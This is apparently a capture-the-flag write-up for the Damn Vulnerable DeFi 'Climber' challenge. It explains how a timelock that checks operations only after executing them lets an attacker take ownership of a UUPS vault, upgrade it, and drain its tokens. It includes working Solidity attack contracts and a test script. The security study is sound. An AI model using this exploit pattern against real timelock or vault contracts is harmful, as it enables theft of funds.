Climber v3 features a vault deployed using the UUPS proxy pattern holding tokens that we must drain. The vault is owned by a Timelock which implements access control and can schedule & execute arbitrary code.

Code Overview

• ClimberConstants.sol - hardcoded constants (low importance)

• ClimberErrors.sol - custom errors (low importance)

• ClimberTimelock.sol - a timelock that is the owner of the vault (high importance)

• ClimberTimelockBase.sol - base class of ClimberTimelock.sol (medium importance)

• ClimberVault.sol - UUPS vault holding the tokens (max importance)

Contract Vulnerability Analysis - ClimberTimelock.sol

ClimberTimelock.sol has 3 external functions: schedule(), execute() & updateDelay():

• schedule() - allows scheduling arbitrary code execution by PROPOSER_ROLE - populates storage ClimberTimelockBase.operations with scheduled operation.

• execute() - executes arbitrary code previously scheduled(). Can be called by anyone!

• updateDelay() - updates storage ClimberTimelockBase.delay; delay between when an operation can be scheduled & executed. Requires msg.sender == address(ClimberTimelock)

Major red flags are immediately apparent in ClimberTimelock.execute():

/**
 * Anyone can execute what's been scheduled via `schedule`
 */
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
    external
    payable
{
    if (targets.length <= MIN_TARGETS) {
        revert InvalidTargetsCount();
    }

    if (targets.length != values.length) {
        revert InvalidValuesCount();
    }

    if (targets.length != dataElements.length) {
        revert InvalidDataElementsCount();
    }

    bytes32 id = getOperationId(targets, values, dataElements, salt);

    for (uint8 i = 0; i < targets.length;) {
        targets[i].functionCallWithValue(dataElements[i], values[i]);
        unchecked {
            ++i;
        }
    }

    // @audit this check should be above the execution since it checks that
    // ClimberTimeLockBase.operations contains the operation id.
    if (getOperationState(id) != OperationState.ReadyForExecution) {
        revert NotReadyForExecution(id);
    }

    operations[id].executed = true;
}

ClimberTimelock.execute() will execute all operations provided as input to the function, and only afterward check that those operations exist in ClimberTimelockBase.operations & have an OperationState which is ready to be executed. As ClimberTimelock.execute() can be called by anyone, an attacker may be able to execute a sequence of nefarious operations which will also populate storage ClimberTimelockBase.operations to pass the check after they have been executed.

Yet how might an attacker call ClimberTimelock.schedule() because only PROPOSER_ROLE can call ClimberTimelock.schedule()? In ClimberTimelock.constructor() we see that ClimberTimelock has ADMIN_ROLE and ADMIN_ROLE is set as the admin of PROPOSER_ROLE, so ADMIN_ROLE can add new addresses to PROPOSER_ROLE:

contract ClimberTimelock is ClimberTimelockBase {
    using Address for address;

    /**
     * @notice Initial setup for roles and timelock delay.
     * @param admin address of the account that will hold the ADMIN_ROLE role
     * @param proposer address of the account that will hold the PROPOSER_ROLE role
     */
    constructor(address admin, address proposer) {
        _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
        // @audit makes ADMIN_ROLE admin of PROPOSER_ROLE
        _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
        _setupRole(ADMIN_ROLE, admin);
        // @audit gives ClimberTimelock ADMIN_ROLE. Hence
        // ClimberTimelock can give PROPOSER_ROLE to other addresses 
        _setupRole(ADMIN_ROLE, address(this)); // self administration
        _setupRole(PROPOSER_ROLE, proposer);

        delay = 1 hours;
    }

This allows an attacker when calling ClimberTimelock.execute() to have one of their operations call AccessControl.grantRole() to give PROPOSER_ROLE to their attack contract, then have another operation call a function in their attack contract that will call ClimberTimelock.schedule() to populate ClimberTimelock.operations. The attacker could also have an operation call ClimberTimelock.updateDelay() to set ClimberTimelockBase.delay = 0 in order to bypass the ClimberTimelockBase.getOperationState() check.

We have now found a large vulnerability in ClimberTimelock that allows us to make ClimberTimelock execute an arbitrary sequence of functions whose input we can control. The next challenge is to develop this vulnerability into a greater one that will be able to drain the tokens.

Contract Vulnerability Analysis - ClimberVault.sol

Turning our attention to ClimberVault we see that ClimberVault.initialize() transfers ownership of ClimberVault to ClimberTimelock. As we can make ClimberTimelock execute whatever we like, we can have it call OwnableUpgradeable.transferOwnership() on ClimberVault to transfer ownership of ClimberVault to ourselves.

function initialize(address admin, address proposer, address sweeper) external initializer {
    // Initialize inheritance chain
    __Ownable_init();
    __UUPSUpgradeable_init();

    // @audit ClimberTimelock becomes owner of ClimberVault. If we can
    // take control of ClimberTimelock, we can steal ownership of ClimberVault
    // then upgrade ClimberVault to re-implement sweepFunds() in a manner
    // which will allow us to drain the tokens
    transferOwnership(address(new ClimberTimelock(admin, proposer)));

    _setSweeper(sweeper);
    _updateLastWithdrawalTimestamp(block.timestamp);
}

Being the owner of ClimberVault allows us to upgrade the contract to re-implement the sweepFunds() function to let us steal the tokens. We have now developed our original vulnerability to the point where we can drain the tokens, all that is left is to put it all together.

Exploit Implementation

We append our attack contracts to the bottom of ClimberVault.sol:

contract ClimberVaultAttack {
    address payable immutable climberTimeLock;

    // parameters for ClimberTimelock.execute() & ClimberTimelock.schedule()
    address[] targets      = new address[](4);
    uint256[] values       = [0,0,0,0];
    bytes[]   dataElements = new bytes[](4);
    bytes32   salt         = bytes32("!.^.0.0.^.!");

    constructor(address payable _climberTimeLock, address _climberVault) {
        climberTimeLock = _climberTimeLock;

        // address upon which function + parameter payloads will be called by ClimberTimelock.execute()
        targets[0]      = climberTimeLock;
        targets[1]      = _climberVault; 
        targets[2]      = climberTimeLock;
        targets[3]      = address(this);

        // first payload call ClimberTimelock.delay()
        dataElements[0] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, 0);
        // second payload call ClimberVault.transferOwnership()
        dataElements[1] = abi.encodeWithSelector(OwnableUpgradeable.transferOwnership.selector, msg.sender);
        // third payload call to ClimberTimelock.grantRole()
        dataElements[2] = abi.encodeWithSelector(AccessControl.grantRole.selector,
                                                 PROPOSER_ROLE, address(this));
        // fourth payload call ClimberVaultAttack.corruptSchedule()
        // I tried to have it directly call ClimberTimelock.schedule() but this was
        // resulting in a different ClimberTimelockBase.getOperationId() as the last
        // element of dataElements was visible inside ClimberTimelock.execute() but not
        // within ClimberTimelock.schedule(). Calling instead to a function back in
        // the attack contract and having that call ClimberTimelock.schedule() gets
        // around this
        dataElements[3] = abi.encodeWithSelector(ClimberVaultAttack.corruptSchedule.selector);
    }

    function corruptSchedule() external {
        ClimberTimelock(climberTimeLock).schedule(targets, values, dataElements, salt);
    }

    function attack() external {
        ClimberTimelock(climberTimeLock).execute(targets, values, dataElements, salt);
    }
}

// once attacker has ownership of ClimberVault, they will upgrade it to
// this version which modifies sweepFunds() to allow owner to drain tokens
contract ClimberVaultAttackUpgrade is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    // must preserve storage layout or upgrade will fail
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize(address, address, address) external initializer {
        // Initialize inheritance chain
        __Ownable_init();
        __UUPSUpgradeable_init();
    }

    // changed to allow only owner to drain funds
    function sweepFunds(address token) external onlyOwner {
        SafeTransferLib.safeTransfer(token, msg.sender, IERC20(token).balanceOf(address(this)));
    }

    // prevent anyone but attacker from further upgrades
    function _authorizeUpgrade(address) internal override onlyOwner {}
}

Then modify climber.challenge.js to call our attack contract:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    attacker = await (await ethers.getContractFactory('ClimberVaultAttack', player)).deploy(
        timelock.address, vault.address
    );

    await attacker.attack();

    upgradedClimberVault = await upgrades.upgradeProxy(
        vault.address, 
        await ethers.getContractFactory("ClimberVaultAttackUpgrade", player));

    await upgradedClimberVault.connect(player).sweepFunds(token.address);
});

And verify our solutions works by running npx hardhat test --grep "Climber"

We have now completely drained ClimberVault and our exploit is complete! Check out the full code in my Damn Vulnerable Defi Solutions repo.